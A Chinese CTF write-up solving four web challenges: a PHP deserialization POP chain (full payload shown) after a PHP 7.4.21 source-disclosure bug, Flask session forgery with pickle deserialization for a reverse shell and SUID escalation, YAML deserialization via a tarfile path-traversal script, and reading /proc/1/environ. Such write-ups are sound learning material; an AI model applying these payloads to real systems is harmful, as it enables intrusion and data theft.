D0n’t pl4y g4m3!!!
题目提示说进入/p0p.php,进入之后跳转到https://passer-by.com/pacman/
最开始的时候还以为是js的游戏题,还花了不少时间去看源码,结果发现网站都不对,才发现发生了跳转
在跳转的时候抓包,页面中有hint:www.zip,下载之后是txt文本,里面是一堆奇奇怪怪的表情符号
直接去搜,在b站找到是尊嘟假嘟解密,然后视频下有解密的软件,解密之后是说flag在/tmp/catcatf1ag.txt
其实后面用dirsearch去扫,会有start.sh,里面就有flag的路径,前面的其实完全没必要,可能是出题人忘了删吧。
然后start.sh里是用php -s 启动的,php版本是7.4.21,去搜了之后发现有php文件的静态读取漏洞
最开始的时候没仔细看,结果复现的是xss的漏洞。
然后关掉bp的content-length自动更新功能,用读取漏洞读p0p.php,然后是反序列化杯第一弹之php反序列化
Pro类没用,可以直接删掉,很多类属性都没有,只能自己构造
一开始四个类而且缺属性也不知道链子怎么构造,冷静下来,发现其他三个类都是魔术方法,根本没法当入口,bei类有destruct方法,所以确定用bei类当链子的入口:$payload = new Bei();
destruct里if ($this->CTF->ycb()) $this->fine->YCB1($this->rce, $this->rce1);
先考虑if ($this->CTF->ycb())
没什么思路就先让if条件为真,不然后面就执行不下去了
然后是ycb(),只有Yang类里有这个方法,所以
$payload->CTF = new Yang();
ycb()返回的是$this->finish->finish,所以用下面的语句来返回true
$payload->CTF->finish = new Cheng();
$payload->CTF->finish->name['finish'] = true;
再是$this->fine->YCB1($this->rce, $this->rce1);
没有YCB1这个方法,所以是__call,也是只有Yang这个类有__call,所以
$payload->fine = new Yang();
__call方法里也要让finish那个为真,所以
$payload->fine->finish = new Cheng();
$payload->fine->finish->name['finish'] = true;
成功进入了call_user_func
最后就是$this->now[$name], $ary[0]两个参数的构造
因为调用了不存在的YCB1方法,所以传进来的$name就是YCB1,所以
$payload->fine->now['YCB1'] = 'highlight_file';
$ary[0]就是YCB1的第一个参数,即$payload->rce,所以
$payload->rce = '/tmp/catcatf1ag.txt';
到此结束
补充
用highlight_file是为了绕过waf,但其实序列好的payload用双写也可以绕过system的置空waf
最开始理解错了,还以为$name是rce,$ary是rec1[0],所以写错成了
$payload->rce = 'highlight_file';
$payload->rec1[0] = "/tmp/catcatf1ag.txt";
后面自己在本地unserialize调试才发现有错
感觉以后反序列化的题做不出来其实都可以自己在本地调试,看这个过程中对应参数的值是什么,是不是自己想要的
比赛时也懒得删rec1[0]那句了,删了应该也没影响,后面自己在本地成功rce,结果网站上出不来flag,其实是自己bp的版本太老了,换了个新版本的就有了,真的因为这个耽误了好久。-_-
完整payload:
$payload = new Bei();
$payload->rce = '/tmp/catcatf1ag.txt';
$payload->rec1[0] = "/tmp/catcatf1ag.txt";
$payload->CTF = new Yang();
$payload->CTF->finish = new Cheng();
$payload->CTF->finish->name['finish'] = true;
$payload->fine = new Yang();
$payload->fine->finish1 = new Cheng();
$payload->fine->now['YCB1'] = 'highlight_file';
$payload->fine->finish = new Cheng();
$payload->fine->finish->name['finish'] = true;
echo serialize($payload);
Serpent
给了源码,flask的session伪造
先用工具把我们的session进行解密,解密后的session给了我们secret_key
再用key伪造成admin
让我们访问pick1e,并且在响应头里有hint:/src0de
就是反序列化杯第二弹之pickle反序列化
但是ban了R指令,__reduce__方法也就用不了了
去搜索发现还有o指令,i指令之类的,直接套现成的payload来反弹shell
然后没有权限读flag,用python进行suid提权即可
ez_yaml
先下载附件读,发现yaml.load
反序列化杯第三弹之yaml反序列化
直接去网上搜payload即可,也没过滤什么
但是我们要把写了payload的文件上传到config文件夹下才有用
然后如果上传的是tar文件的话,会调用tarfile,有路径传越漏洞
具体可以参考这篇文章https://blog.csdn.net/wanmiqi/article/details/110202417
但是Windows和Linux下文件名都不能有../,所以用脚本生成
import tarfile
def create_tar_archive(source_file, output_file, new_filename):
with tarfile.open(output_file, "w") as tar:
tar.add(source_file, arcname=new_filename) # 将源文件添加到归档中,并指定新的文件名
# 示例用法
source_file = "exp.yaml"
output_file = "exp.tar"
new_filename = "../../config/exp.yaml"
create_tar_archive(source_file, output_file, new_filename)
然后上传之后访问/src?username=exp即可
ArkNights
反序列化杯第四弹之非预期
直接/read路由读/proc/1/environ即可